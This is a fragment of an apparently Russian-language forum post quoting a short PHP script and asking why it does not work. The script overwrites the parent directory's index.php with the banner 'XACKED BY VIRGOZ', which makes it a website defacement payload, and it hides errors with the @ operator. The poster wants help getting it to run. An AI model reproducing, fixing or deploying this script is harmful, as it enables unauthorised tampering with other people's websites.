Разве так нельзя?...
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><?php

$outputstring = "<h1>XACKED BY VIRGOZ</h1>";

// open file for appending
@ $fp = fopen("../index.php", "w");

if (!$fp)
{
echo "<p><strong>Please try again later.</strong></p></body></html>";
exit;
}

fwrite($fp, $outputstring);
fclose($fp);

echo "<p>OK</p>";

?>[/QUOTE]<span id='postcolor'>
И почему не работает?...